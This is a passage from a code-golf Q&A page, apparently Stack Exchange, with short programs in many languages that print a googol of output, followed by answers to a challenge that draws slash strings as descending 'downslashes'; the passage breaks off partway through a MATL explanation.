edi,eax ; arg goes in rdi 400354: e8 ea ff ff ff call 400343 <f> 400359: 59 pop rcx ; and restore it after recursing 40035a: 58 pop rax 40035b: e2 f4 loop 400351 <f.loop> 40035d: c3 ret # the function ends here 000000000040035e <_start>: ``` **`0x040035e - 0x0400340 = 30 bytes`** ``` # not counted: a caller that passes argc-1 to f() instead of calling g 000000000040035e <_start>: 40035e: 8b 3c 24 mov edi,DWORD PTR [rsp] 400361: ff cf dec edi 400363: e8 db ff ff ff call 400343 <f> 400368: e8 c3 ff ff ff call 400330 <exit@plt> # flush I/O buffers, which the _exit system call (eax=60) doesn't do. ``` [Built with](https://stackoverflow.com/questions/36861903/assembling-32-bit-binaries-on-a-64-bit-system-gnu-toolchain/36901649#36901649) `yasm -felf64 -Worphan-labels -gdwarf2 golf-googol.asm && gcc -nostartfiles -o golf-googol golf-googol.o`. I can post the original NASM source, but that seemed like clutter since the asm instructions are right there in the disassembly. `putchar@plt` is less than 128 bytes away from the `jl`, so I could have used a 2-byte short jump instead of a 6-byte near jump, but that's only true in a tiny executable, not as part of a larger program. So I don't think I can justify not counting the size of libc's puts implementation if I also take advantage of a short jcc encoding to reach it. **Each level of recursion uses 24B of stack space** (2 pushes and the return address pushed by CALL). Every other depth will call `putchar` with the stack only aligned by 8, not 16, so this does violate the ABI. A stdio implementation that used aligned stores to spill xmm registers to the stack would fault. But glibc's `putchar` doesn't do that, writing to a pipe with full buffering or writing to a terminal with line buffering. Tested on Ubuntu 15.10. This could be fixed with a dummy push/pop in the `.loop`, to offset the stack by another 8 before the recursive call. --- Proof that it prints the right number of newlines: ``` # with a version that uses argc-1 (i.e. the shell's $i) instead of a fixed 100 $ for i in {0..8}; do echo -n "$i: "; ./golf-googol $(seq $i) |wc -c; done 0: 1 1: 10 2: 100 3: 1000 4: 10000 5: 100000 6: 1000000 7: 10000000 8: 100000000 ... output = 10^n newlines every time. ``` --- My first version of this was 43B, and used `puts()` on a buffer of 9 newlines (and a terminating 0 byte), so puts would append the 10th. That recursion base-case was even closer to the C inspiration. Factoring 10^100 a different way could maybe have shortened the buffer, maybe down to 4 newlines, saving 5 bytes, but using putchar is better by far. It only needs an integer arg, not a pointer, and no buffer at all. The C standard allows implementations where it's a macro for `putc(val, stdout)`, but in glibc it exists as a real function that you can call from asm. Printing only one newline per call instead of 10 just means we need to increase the recursion max depth by 1, to get another factor of 10 newlines. Since 99 and 100 can both be represented by a sign-extended 8-bit immediate, `push 100` is still only 2 bytes. Even better, having `10` in a register works as both a newline and a loop counter, saving a byte. **Ideas for saving bytes** A 32-bit version could save a byte for the `dec edi`, but the stack-args calling convention (for library functions like putchar) makes tail-call work less easily, and would probably require more bytes in more places. I could use a register-arg convention for the private `f()`, only called by `g()`, but then I couldn't tail-call putchar (because f() and putchar() would take a different number of stack-args). It would be possible to have f() preserve the caller's state, instead of doing the save/restore in the caller. That probably sucks, though, because it would probably need to get separately in each side of the branch, and isn't compatible with tailcalling. I tried it but didn't find any savings. Keeping a loop counter on the stack (instead of push/popping rcx in the loop) didn't help either. It was 1B worse with the version that used puts, and probably even more of a loss with this version that sets up rcx more cheaply. [Answer] # PHP, 44 bytes ``` for($i=bcpow(10,1e2);$i=bcsub($i,print 1);); ``` This snippet will output `1` googol times. It will not run out of memory, but it is terribly slow. I'm using BCMath to be able to handle long integers. A bit better performing, but not as small (74 bytes): ``` for($m=bcpow(10,100);$m;$m=bcsub($m,$a))echo str_repeat(a,$a=min(4e9,$m)); ``` Will output the letter `a` googol times. It will consume almost 4GB of memory, outputting about 4e9 characters at a time. [Answer] # Turing machine simulator, 1082 bytes ``` 0 * 6 r 1 1 * E r 2 2 * C r 3 3 * 1 r 4 4 * B r 5 5 * C r 6 6 * F r 7 7 * 4 r 8 8 * 6 r 9 9 * 8 r A A * 8 r B B * 3 r C C * 0 r D D * 9 r E E * G r F F * H r G G * 8 r H H * 0 r I I * 6 r J J * H r K K * 9 r L L * 3 r M M * 2 r N N * A r O O * D r P P * C r Q Q * C r R R * 4 r S S * 4 r T T * E r U U * E r V V * G r W W * 6 r X X * D r Y Y * E r Z Z * 0 r a a * F r b b * E r c c * 9 r d d * F r e e * A r f f * H r g g * D r h h * E r i i * 6 r j j * 6 r k k * D r l l * G r m m * H r n n * 1 r o o * 0 r p p * 8 r q q * C r r r * 9 r s s * G r t t * 3 r u u * 6 r v v * 2 r w w * 3 r x x * E r y y * 0 r z z * 4 r + + * 5 r / / * A r = = * 0 r - - * H r \ \ * 7 r ! ! * A r @ @ * 9 r # # * 5 r $ $ * A r % % * B r ^ ^ * 5 r & & * 9 r ? ? * 4 r ( ( * C r ) ) * E r ` ` * 9 r ~ ~ * 9 r _ _ * A * . . 0 I l * . 1 0 r < . 2 1 r < . 3 2 r < . 4 3 r < . 5 4 r < . 6 5 r < . 7 6 r < . 8 7 r < . 9 8 r < . A 9 r < . B A r < . C B r < . D C r < . E D r < . F E r < . G F r < . H G r < . I H r < . _ * r ] < _ * r > < * * r * > _ = l [ > * * r * [ _ * l . [ * * l * ] _ * * halt ] * _ r * ``` [Turing machine simulator](//morphett.info/turing?2c9e01f05228fa416b6b0bfcbbacb7c1) I do not know if this counts as the correct output, since it has 82 leading spaces. I do not know if this respects the 4 GB limit, so, if it doesn't, then it's non-competitive and just for showcase. The output is 1e100 bytes, so that should be deducted from the memory byte count. The final byte count is 82 bytes. Here is an explanation: The first 80 lines of code are 80 different states that generate the base-191 loop count `6EC1BCF4688309GH806H932ADCC44EEG6DE0FE9FAHDE66DGH108C9G3623E045A0H7A95AB594CE99A`. The next 19 lines of code are the counter state, which decrements the count every time a character is printed. The next 6 lines are the printer state, which appends an `=`. Finally, the last 2 lines are the cleaner state, which are needed to make sure the only output is `=====...=====`. Leading/trailing spaces do not count as output, since they are unavoidable side-effects. The program then halts. 1I did the math for that. [Answer] # Whispers v3, ~~48..40~~ 35 bytes *+ more oomph thanks to [Leo](https://codegolf.stackexchange.com/users/62393/leo)!* ``` > 100 >> 1*1 >> Output 2 >> For 2 3 ``` Prints \$10^{100}\$ copies of \$10^{100}\$ copies of \$100^{100}\$. [~~Don't~~ try it online!](https://tio.run/##K8/ILC5ILSo2@v/fTsHQwIDLDkhpGYIo/9KSgtISBSMQ2y2/SMFIwfj/fwA) **Explanation:** In Whispers, the last line is executed first. The other lines are executed when they are referenced in an executing line. 1 `> 100` Integer \$100\$. 2 `>> 1*1` Result of *line 1* multiplied with itself. 3 `>> Output 2` Prints *line 2*. 4 `>> For 2 3` Executes *line 3* \$n\$ times, where \$n\$ is the result of *line 2*. [Answer] # [Piet](https://www.dangermouse.net/esoteric/piet.html) + [ascii-piet](https://github.com/dloscutoff/ascii-piet), 112 70 bytes (5×14=70 codels) ``` vnfjlvudabknrTvn Fv c ijjbrlk Ev c?sj????d Cv c ciqdlttdui ``` [![Program](https://i.stack.imgur.com/jmMb6.png)](https://i.stack.imgur.com/jmMb6.png) [Try Piet online!](https://piet.bubbler.one/#eJyFjUEKhDAMRe-S9V801WrtVaQL0QqCzgidWQ1zdxNFkdkMCeHzebx8qH8OiULbMmpwAY8KDAe2YEklGuktTMRBNP-22ElNbr9GlF5FVswXVd8pD_3L97Un6H50To2lAhWMjAStYgTltFIgAs3TcoSUewpjN-cEmh7r-6X1dwO0WzWZ) **Changes** * -42 codels - thanks to @emanresu-a for getting me a different idea to set-up the stack. **Explanation** 1. Outer path Setting up the stack by pushing 5 and 2, then multiplying and duplicating until we have 10⁴, 10³² and 10⁶⁴. Lastly multiplying those to 10¹⁰⁰. [![Outer Loop](https://i.stack.imgur.com/ud1iA.png)](https://i.stack.imgur.com/ud1iA.png) 2. Loop Looping a googol times and printing a 1 on each repetition. (same as before, just flipped) [![Inner Loop](https://i.stack.imgur.com/UL47l.png)](https://i.stack.imgur.com/UL47l.png) ``` command -> stack after push 1 [n, 1] push 2 [n, 1, 2] push 1 [n, 1, 2, 1] roll [1, n] push 1 [1, n, 1] out(Number) [1, n] push 1 [1, n, 1] subtract [1, n-1] duplicate [1, n-1, n-1] push 3 [1, n-1, n-1, 3] push 1 [1, n-1, n-1, 3, 1] roll [n-1, 1, n-1] greater [n-1, 0 || 1] pointer [n-1] ``` **Simple Version for proving that it works** Setting up stack with 10 and looping exactly the same for getting 10 1s as output. [Try simple loop online!](https://piet.bubbler.one/#eJyFjkkKgDAMRe_y139hne1VxIVoBcEJqivx7jZ26UQ-IYTHS3Y0c2ugy1Ixo4qYU32logeLv3hSpuTqgTM7QcyQKZ-pnLfz4ZsuEWMsQMrAlZDXfxVhzQINEEM_-sHYBrqrB2uIflq2VdbHCWPvN1s) **Findings (by a 1st time user of Piet)** * It's a refreshing exercise working with a stack-based 2D language and getting a picture out in the end. * It's fun to try and squeeze it as small as possible, but probably there is a lot more to get :D * I will most likely use this again on other golfing challenges [Answer] # Haskell, ~~45~~ 43 bytes ``` r 0=[] r i='1':r(i-1) main=putStr.r$10^100 ``` [Answer] ## Pyke, ~~6~~ 5 bytes ``` TTX^V ``` [Try it here!](http://pyke.catbus.co.uk/?code=TTX%5EV) Untested as it crashes my browser. The first 4 chars generate 10^100 and `V` prints out that many newlines. Test with `100V`. [Answer] ## Racket 36 bytes ``` (for((i(expt 10 100)))(display "1")) ``` Output: ``` 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111... ``` [Answer] # [JAISBaL](https://github.com/SocraticPhoenix/JAISBaL/wiki), 4 [bytes](https://github.com/SocraticPhoenix/JAISBaL/wiki/JAISBaL-Character-Encoding) ``` ˖Q ``` Chrome can't read all the symbols, and I'm not sure about other browsers, so here's a picture: [![](https://i.stack.imgur.com/X18WQ.png)](https://i.stack.imgur.com/X18WQ.png) Explanation: ``` # \# enable verbose parsing #\ 10^100 \# [0] push 10^100 onto the stack #\ for \# [1] start for loop #\ space \# [2] print a space #\ ``` Pretty simple.... just prints a googol spaces. Three instructions, but the googol constant is two bytes. (Written in version 3.0.5) [Answer] # JavaScript ES6, ~~85~~ 83 bytes *Saved 2 bytes thanks to ETHproductions!* ``` eval([...Array(i=100)].map(_=>`for($${--i}=0;$${i}++<10;)`).join``+"console.log()") ``` This prints 1e100 newlines. The inner part generates this program, which is thereafter evaluated. ``` for($0=0;$0++<10;)for($1=0;$1++<10;)for($2=0;$2++<10;)for($3=0;$3++<10;)for($4=0;$4++<10;)for($5=0;$5++<10;)for($6=0;$6++<10;)for($7=0;$7++<10;)for($8=0;$8++<10;)for($9=0;$9++<10;)for($10=0;$10++<10;)for($11=0;$11++<10;)for($12=0;$12++<10;)for($13=0;$13++<10;)for($14=0;$14++<10;)for($15=0;$15++<10;)for($16=0;$16++<10;)for($17=0;$17++<10;)for($18=0;$18++<10;)for($19=0;$19++<10;)for($20=0;$20++<10;)for($21=0;$21++<10;)for($22=0;$22++<10;)for($23=0;$23++<10;)for($24=0;$24++<10;)for($25=0;$25++<10;)for($26=0;$26++<10;)for($27=0;$27++<10;)for($28=0;$28++<10;)for($29=0;$29++<10;)for($30=0;$30++<10;)for($31=0;$31++<10;)for($32=0;$32++<10;)for($33=0;$33++<10;)for($34=0;$34++<10;)for($35=0;$35++<10;)for($36=0;$36++<10;)for($37=0;$37++<10;)for($38=0;$38++<10;)for($39=0;$39++<10;)for($40=0;$40++<10;)for($41=0;$41++<10;)for($42=0;$42++<10;)for($43=0;$43++<10;)for($44=0;$44++<10;)for($45=0;$45++<10;)for($46=0;$46++<10;)for($47=0;$47++<10;)for($48=0;$48++<10;)for($49=0;$49++<10;)for($50=0;$50++<10;)for($51=0;$51++<10;)for($52=0;$52++<10;)for($53=0;$53++<10;)for($54=0;$54++<10;)for($55=0;$55++<10;)for($56=0;$56++<10;)for($57=0;$57++<10;)for($58=0;$58++<10;)for($59=0;$59++<10;)for($60=0;$60++<10;)for($61=0;$61++<10;)for($62=0;$62++<10;)for($63=0;$63++<10;)for($64=0;$64++<10;)for($65=0;$65++<10;)for($66=0;$66++<10;)for($67=0;$67++<10;)for($68=0;$68++<10;)for($69=0;$69++<10;)for($70=0;$70++<10;)for($71=0;$71++<10;)for($72=0;$72++<10;)for($73=0;$73++<10;)for($74=0;$74++<10;)for($75=0;$75++<10;)for($76=0;$76++<10;)for($77=0;$77++<10;)for($78=0;$78++<10;)for($79=0;$79++<10;)for($80=0;$80++<10;)for($81=0;$81++<10;)for($82=0;$82++<10;)for($83=0;$83++<10;)for($84=0;$84++<10;)for($85=0;$85++<10;)for($86=0;$86++<10;)for($87=0;$87++<10;)for($88=0;$88++<10;)for($89=0;$89++<10;)for($90=0;$90++<10;)for($91=0;$91++<10;)for($92=0;$92++<10;)for($93=0;$93++<10;)for($94=0;$94++<10;)for($95=0;$95++<10;)for($96=0;$96++<10;)for($97=0;$97++<10;)for($98=0;$98++<10;)for($99=0;$99++<10;)console.log() ``` Now, for a proof of correctness, we'll use some induction. Let's substitute the initial 100 for other values, generically *N*. I claim that inserting *N* will yield 10*N* newlines. Let's pipe the result of this to `wc -l`, which counts the number of newlines in the input. We'll use this modified but equivalent script that takes input *N*: ``` eval([...Array(+process.argv[2])].map(_=>`for($${i}=0;$${i++}++<10;)`,i=0).join``+"console.log()") ``` Now, here's some output: ``` C:\Users\Conor O'Brien\Documents\Programming λ node googol.es6 1 | wc -l 10 C:\Users\Conor O'Brien\Documents\Programming λ node googol.es6 2 | wc -l 100 C:\Users\Conor O'Brien\Documents\Programming λ node googol.es6 3 | wc -l 1000 C:\Users\Conor O'Brien\Documents\Programming λ node googol.es6 4 | wc -l 10000 ``` We can see that this transforms the input *N* for small values to 10*N* newlines. Here is an example output for *N* = 1: ``` C:\Users\Conor O'Brien\Documents\Programming λ node googol.es6 1 C:\Users\Conor O'Brien\Documents\Programming λ ``` [Answer] # TI-Basic, 20 bytes Straightforward. Only eight lines are displayed at once, and previous lines do not stay in memory. Because `ᴇ100` is unsupported, we must loop from `-ᴇ99` to `9ᴇ99`. Then, if `I!=0`, display the string (which, by the way, is 3). This way, we print it exactly `ᴇ100` times. ``` For(I,-ᴇ99,9ᴇ99:If I:Disp 3:End ``` [Answer] # Mathematica, ~~48~~ ~~30~~ 25 bytes ``` For[n=1,n++<Echo@1*^100,] ``` Output: ``` >> 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 >> 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 >> 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 >> 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 >> 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 etc. ``` [Answer] # Fortran 95, Free-form, Recursive, 117 bytes ``` Program M Call R(99) END Recursive Subroutine R(L) IF(L)3,1,1 1 DO 2 I=1,10 2 Call R(L-1) RETURN 3 PRINT*,0 END ``` Prints a googol of lines containing ``` 0 ``` # Fortran 90, Recursive, 149 bytes ``` CallR(99) END RecursiveSubroutineR(L) IF(L)3,1,1 1 DO2I=1,10 2 CallR(L-1) RETURN 3 PRINT*,0 END ``` Recursively calling 100 nested loops, each 10 iterations, makes exactly one googol. N, L, and the loop counters all fit in byte-sized integers. Tested by replacing 99 with 1, 2, 3, 4, 5 and noting that in each case the resulting line count from "wc" has n+1 zeros. # Fortran II, IV, 66, or 77, 231 bytes: ``` N=2*10**9 DO1I0=1,5**10 DO1I=1,N DO1J=1,N DO1K=1,N DO1L=1,N DO1M=1,N DO1I1=1,N DO1J1=1,N DO1K1=1,N DO1L1=1,N DO1M1=1,N 1 PRINT2 2 FORMAT(X) END ``` Prints a googol of newlines. All of these programs will run on 32-bit machines; in fact, the recursive versions would work just fine on a 16-bit machine. One could use fewer loops in the brute-force version by running on an old Cray with its 60-bit integers. Here, ten nested loops of 2\*10^9 inside one loop of 5^10 (9765625) equals 10 ^ 100 total iterations. None of the versions uses any memory to speak of other than the object code itself, the counters, one copy of the output string, and, in the recursive version, a 100-level return stack. Check the factors by comparing ``` bc<<<2000000000\^10*5\^10 bc<<<10\^100 ``` [Answer] # [Vyxal](https://github.com/Lyxal/Vyxal) `H`, ~~4~~ 3 bytes *Crossed out 4 is still regular 4* ``` ↵(, ``` [Try it Online!](http://lyxal.pythonanywhere.com?flags=H&code=%E2%86%B5%28%2C&inputs=&header=&footer=) Prints \$10^{100}\$ newlines. ``` ↵ # 10 **... # 100 (Stack preset by flag) (, # Times print nothing (with a newline) ``` [Answer] # Pyth, 7 Bytes **New** (Competing) ``` V^T*TTG ``` **Explanation** ``` G=The alphabet Repeat 10^(10*10) times print(G) ``` --- **Old** (Non Competing) 7 Bytes ``` *G^T*TT ``` **Explanation** ``` G=The alphabet G*(10^(10*10))==G*10^100 ``` [Answer] # Python 3, 32 bytes ``` for i in range(10**100):print() ``` Alternate solution, 33 bytes: ``` [print()for i in range(10**100)] ``` ]
[Question] [ As a programmer, you've probably heard of forward slashes and backward slashes. But have you heard of downslashes? That's when you take a bunch of slashes, connect their ends and draw them going down. For today's challenge, you must write a program or function that takes a string consisting purely of slashes, and outputs all of those slashes drawn downwards in a line connecting them. This will be a lot more clear if you see an example. Given the string `\\\//\/\\`, you should output: ``` \ \ \ / / \ / \ \ ``` Here are some clarifications: * There must be one slash per line. * The first line will have 0 leading spaces. * For each pair of slashes: + If they are different from each other, they will be drawn in the same column. For example, `\/` will give: ``` \ / ``` + If they are the same character, the lower one is in the direction *pointed* to, that is moving to the right for a backslash, and moving to the left for a forward slash. So `\\//` will give ``` \ \ / / ``` * Each line may have extra trailing whitespace as long as this doesn't change the visual appearance of the output. Up to one trailing and leading newline is also acceptable. Extra leading spaces *are not permitted*! In order to keep this simpler, you can assume that the string will never contain too many forward slashes. In other words, no prefix of the input will contain more forward slashes than backslashes, so an input like `\\////` or `//` will never be given. This also means that every input will start with a backslash. If your input is taken as a string literal, you may escape the backslashes if this is necessary. You will also never need to handle an input that is empty, or contains characters other than a slash. You may output by any [reasonable format](https://codegolf.meta.stackexchange.com/q/2447/31716). As usual, this is a [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'") challenge, so try to make the shortest solution possible, even if you pick a language where this is rather difficult. Bonus points for explaining any interesting techniques you used to take bytes off! ## Examples ``` #Input \\\\\\\\\\\ #Output \ \ \ \ \ \ \ \ \ \ \ #Input \\\//\\/\//\\/// #Output \ \ \ / / \ \ / \ / / \ \ / / / #Input \/\/\/ #Output \ / \ / \ / ``` [Answer] # GNU Sed, 20 ``` s|\\|&^L|g s|/|^H/^L^H|g ``` Note that `^L` and `^H` are literal formfeed and backspace characters (0x12 and 0x8). This answer works by moving the cursor around using backspace and formfeed characters. The slashes/backslashes are not left-padded with spaces - Not sure of this disqualifies this answer. This doesn't work in TIO, but it looks fine under common terminals such as `xterm` and `gnome-terminal`. Recreate this sed script as follows: ``` base64 -d <<< c3xcXHwmDHxnCnN8L3wILwwIfGc= > downslash.sed ``` Run it as follows: ``` $ echo '\\\//\/\\' | sed -f downslash.sed \ \ \ / / \ / \ \ $ ``` ### Explanation: ``` s|\\|&^L|g # move cursor down after every "\" s|/|^H/^L^H|g # move cursor left before every "/", then after, down and left again ``` [Answer] # [///](https://esolangs.org/wiki////), 119 bytes /// has no input commands, so input must be embedded in the program. For this one, the input string is simply appended, with no escaping needed. ``` /=/\/\///M/ |%%=N/%|||=C/BA=\/\\/\/C\\=C\\/CbC=B\A\=CfC=AB=/A/%Mxy=B/|z%N|x|y% %N%x|y%%% |fzN%M%b|zN|M|% =|/AB\\=%/|=AC ``` * [Try it online!](https://tio.run/##HY0xCsQwDAT7vCLN1vsCFbJr@wVuErhwxXVuErN/d@RDSMsyMOq/o38/fU4aWwxZuAmwSkiyzOQWYLHcmsUyn9lS8yhXNk9GJ8r9WKIGqm492FGxEth1jYqCU6OqCJuJnsIEyjx08fNvX5ec8wU "/// – Try It Online") * [With `-d` option](https://tio.run/##HY0xCsMwEAR7v8LNlmFfcIWkWnqBmpjYJBDigFLYZt8e5RyOu2UZmGvPa7vPrXcaqw@ZOQiwQkiyxBjMwclSrebLNCWLNXhZkoVoDETedovUgaJNO0YUnAmMWo6CjElHURYGE0N0EygLrvOff/t5yd6/6/vzWF@tX24/ "/// – Try It Online") (program state shown in brackets before each command is run). # How it works * In the following, an input of `\\/\//` will be appended to the program for demonstration. * `␤` is used to represent newlines in inline code. ## Abbreviations The beginning `/=/\/\///M/␤|%%=N/%|||=C/BA=` of the program contains substitutions for golfing abbreviations. * `=` expands to `//`, `M` to `␤|%%`, `N` to `%|||` and `C` to `BA`. * After this the current program becomes ``` /\/\\/\/BA\\//BA\\/BAbBA//B\A\//BAfBA//AB///A/% |%%xy//B/|z%%||||x|y% %%|||%x|y%%% |fz%|||% |%%%b|z%|||| |%%|% //|/AB\\//%/|//ABA\\/\// ``` ## Input recoding The next stage transforms the appended input string into a more usable form. Since it consists entirely of ///'s two command characters, this takes some care to avoid mangling the base program. * The first substantial substitution, `/\/\\/\/BA\\/`, replaces the string `/\` with `/BA\`. + The base program does not contain `/\` at this time, so this substitution doesn't affect it. + However, this splits up the appended input string into sequences of `\`s followed by sequences of `/`s, which together with the `ABA` at the end of the base program makes it possible to iterate through it with the following substitutions. + Including the `ABA` prefix before it, the example input string now becomes `ABA\\/BA\//`. * The next substitution, `/BA\\/BAbBA/`, replaces `BA\` by `BAbBA`. + Because /// substitutions are repeated until they no longer match, this iterates through all the `\`s of the input string, which with prefix now becomes `ABAbBAbBA/BAbBA//` * Similarly, `/B\A\//BAfBA/` changes `BA/` to `BAfBA`, iterating through the `/`s. + The escaping `\` in this substitution is needed since otherwise it would be mangled by the previous one. + The input has now turned into `ABAbBAbBAfBABAbBAfBAfBA`. * Next `/AB//` removes some superfluous parts of the encoding, turning it into `AbBAbBAfBAbBAfBAfBA`. + This also removes an `AB` from the `/|/AB\\/` substitution later in the program, which was needed to protect it from the above `/\` manipulation. + At this point every `\` in the original input string has become `AbB`, and every `/` has become `AfB`. (`b` and `f` stand for backward and forward.) There's a stray `A` at the end. * The next two substitutions replace all the `A`s and `B`s with program fragments to run in the final stage. In the replacement strings, `%`s and `|`s encode what will become `/`s and `\`s respectively. This has two benefits: + Unlike `/` and `\`, the `%`s and `|`s don't need escaping to be copied. + The replacement strings avoid containing the substring `/\`, which would otherwise have been mangled by the previous manipulations. * After this, the substitution `/|/\\/` (formerly `/|/AB\\/`) now decodes the `|`s, after which the following `/%/|//` has become `/%/\//` and decodes the `%`s. ## Program structure at final stage At this point, the base program has run all its substitutions, and all that remains is the program-encoding of the input string. * Each input character has become a subprogram ``` / \//xy*\z//\\\\x\y/ //\\\/x\y/// \fz/\\\/ \///b\z/\\\\ \//\/ ``` (trailing newline), where `*` represents either `f` for an original `/`, or `b` for an original `\`. * There is also an incomplete substitution command `/␤\//xy` at the end of the program, which will have no effect except to provide a necessary `/` for the substitutions of the previous subprogram. ## Shared substring Before the final iteration through the subprograms starts, there is a substring crossing the boundary after each character's subprogram of the form `\/␤/`. * These substrings are used as a shared global state. All the remaining substitutions in the program will manipulate them identically and in parallel, such that at the end of each input character's subprogram its copy of this shared substring (except the final `/`, which anchors the substitutions) will be run to print the line for that character. * The initial version of the substring represents printing a line containing just `/`, which is the right imaginary "previous line" to cause the first input character to be printed at the beginning of its line. * In general, during the printing steps, the shared substring consists of a number of spaces, `\\` or `\/`, a newline, and a following `/`. ## Running a character subprogram Several of the following substitutions contain extra `\`s inside to prevent them from being matched and mangled by each other (including other copies in other subprograms). Achieving this is also the reason why both of `x` and `y` are needed. * The first substitution in a character subprogram, `/␤\//xyf\z/` or `/␤\//xyb\z/`, causes the `␤/` at the end of the shared substring to become `xyfz` or `xybz`, immediately following the `\/` or `\\`. * The substitution `/\\\\x\y/ /` replaces `\\xy` by a space, and the substitution `/\\\/x\y//` replaces `\/xy` by nothing. + They apply when the previous input character printed was a `\` or `/`, respectively. + The shared substring now contains the appropriate number of spaces for printing a `\` next, followed by `fz` or `bz`. * The substitution `/ \fz/\\\/␤\//` replaces `​ fz` by `\/␤/`, and `/b\z/\\\\␤\//` replaces `bz` by `\\␤/`. + They apply when the current input character is `/` or `\`, respectively. + The first one eats an extra space to place `/` correctly. - If this space is missing (i.e. input violating the prefix condition), the following substitutions get misinterpreted, printing a lot of junk and usually hitting a `///`, which is an infinite loop. + Each adds the correct command to print its own character, and reinstates the original `␤/` at the end of the shared substring. * The character subprogram has now reached its copy of the shared substring, which is ready to print its line. After the last character subprogram has run, what remains of the program is `/␤\//xy`. Since this is an incomplete substitution with missing final `/`, the program skips it and halts normally. [Answer] # [Charcoal](https://github.com/somebody1234/Charcoal), ~~13~~ ~~12~~ 11 bytes ``` FS¿⁼ι/↓¶/↘ι ``` [Try it online!](https://tio.run/##S85ILErOT8z5/z8tv0hBwzOvoLQkuKQoMy9dQ1NTITNNQcO1sDQxp1gjU0dBSV8JKBYAlCzRsHLJL88DCsXkAQUVUnOKU5ElgjLTM0p0FDI1rf//j4mJ0dcHYgipr/9ft@y/bnEOAA "Charcoal – Try It Online") Link is to verbose version of code. Supports extra `//`s. Explanation: ``` S Input string F Loop over each character ¿ If ι Current character ⁼ Equals / Literal / ↓¶ Move left ↓ / Print a / downwards ↘ι Else it's a \ so print that down and right ``` [Answer] # [Python 2](https://docs.python.org/2/), ~~55~~ ~~54~~ ~~51~~ ~~57~~ 53 bytes -3 bytes (and a bug fix) thanks to Felipe Nardi Batista ``` i=0 for c in input():i-=c<'<'*i;print' '*i+c;i+=c>'<' ``` [Try it online!](https://tio.run/##K6gsycjPM/r/P9PWgCstv0ghWSEzD4gKSks0NK0ydW2TbdRt1LUyrQuKMvNK1BWATO1k60xt22Q7oPj//@r6MUAAIdT/AwA "Python 2 – Try It Online") [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~ 14 13 ~~ 12 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) -1 thanks to [caird coinheringaahing](https://codegolf.stackexchange.com/users/66833/caird-coinheringaahing) (Use of `;"` in place of `ż` to allow yielding a list of lines and so use of `Ʋ`.) ``` =”\Ḥ’Ä_Ʋ⁶ẋ;" ``` A monadic Link that yields a list of lines. **[Try it online!](https://tio.run/##y0rNyan8/9/2UcPcmIc7ljxqmHm4Jf7YpkeN2x7u6rZW@n@4PfL//5iYGH19IIaQ@voA "Jelly – Try It Online")** ### How? ``` =”\Ḥ’Ä_Ʋ⁶ẋ;" - Link: list of characters, s e.g. "\\\//\\/" ”\ - literal '\' '\' = - equal? (call this e) [1, 1, 1, 0, 0, 1, 1, 0] Ʋ - last four links as a monad - f(e) Ḥ - double (e) [2, 2, 2, 0, 0, 2, 2, 0] ’ - decrement [1, 1, 1,-1,-1, 1, 1,-1] Ä - cumulative sums [1, 2, 3, 2, 1, 2, 3, 2] _ - subtract (e) [0, 1, 2, 2, 1, 1, 2, 2] ⁶ - literal ' ' ' ' ẋ - repeat ["", " ", " ", " ", " ", " ", " ", " "] " - zip with: ; - concatenate (c from s) ["\", " \", " \", " /", " /", " \", " \", " /"] ``` [Answer] # [Haskell](https://www.haskell.org/), 49 bytes ``` scanl(\x c->drop(sum[1|'/'<-c:x])(' '<$x)++[c])[] ``` [Try it online!](https://tio.run/##y0gszk7Nyflfraus4OPo5x7q6O6q4BwQoKCsW8uVZhvzvzg5MS9HI6ZCIVnXLqUov0CjuDQ32rBGXV/dRjfZqiJWU0NdQd1GpUJTWzs6OVYzOvZ/bmJmnoKtQnpqiU9mXqqCnZ2tQkFpSXBJkYKeQmleDlCsGMhK@x8TE6OvD8QQUl8fAA "Haskell – Try It Online") [Answer] # [MATL](https://github.com/lmendo/MATL), ~~23~~ ~~19~~ 18 bytes *1 byte off thanks to [@Sanchises](https://codegolf.stackexchange.com/users/32352/sanchises)* ``` fGqoEq1yd~h*YsGZ?c ``` Input is a string enclosed in single quotes. [**Try it online!**](https://tio.run/##y00syfn/P829MN@10LAypS5DK7LYPco@@f9/9ZiYGH39GP2YGHUA) Or verify test cases: [**1**](https://tio.run/##y00syfn/P829MN@10LAypS5DK7LYPco@@f9/9RgEUAcA), [**2**](https://tio.run/##y00syfn/P829MN@10LAypS5DK7LYPco@@f9/9ZiYGH19IIaQ@vrqAA), [**3**](https://tio.run/##y00syfn/P829MN@10LAypS5DK7LYPco@@f9/9Rh9EFQHAA). ### Explanation Consider input `'\\\//\/\\'` as an example. ``` f % Implicit input. Array of indices of nonzeros. Since all chars in the input % have nonzero code point, this gives [1 2 ... n] where n is input length % STACK: [1 2 3 4 5 6 7 8 9] G % Push input again % STACK: [1 2 3 4 5 6 7 8 9], '\\\//\/\\' qo % Subtract 1 from (the code-point) of each char and then compute modulo 2. % This transforms '\' into 1 and '/' into 0 % STACK: [1 2 3 4 5 6 7 8 9], [1 1 1 0 0 1 0 1 1] Eq % Double, subtract 1. This transforms 0 into -1 % STACK: [1 2 3 4 5 6 7 8 9], [1 1 1 -1 -1 1 -1 1 1] 1y % Push 1 and duplicate from below % STACK: [1 2 3 4 5 6 7 8 9], [1 1 1 -1 -1 1 -1 1 1], 1, [1 1 1 -1 -1 1 -1 1 1] d~ % Consecutive differences, logical negation: gives 1 if consecutive entries % are equal, 0 otherwise % STACK: [1 2 3 4 5 6 7 8 9], [1 1 1 -1 -1 1 -1 1 1], 1, [1 1 0 1 0 0 0 1] h % Horizontally concatenate % STACK: [1 2 3 4 5 6 7 8 9], [1 1 1 -1 -1 1 -1 1 1], [1 1 1 0 1 0 0 0 1] * % Element-wise multiplication % STACK: [1 2 3 4 5 6 7 8 9], [1 1 1 0 -1 0 0 0 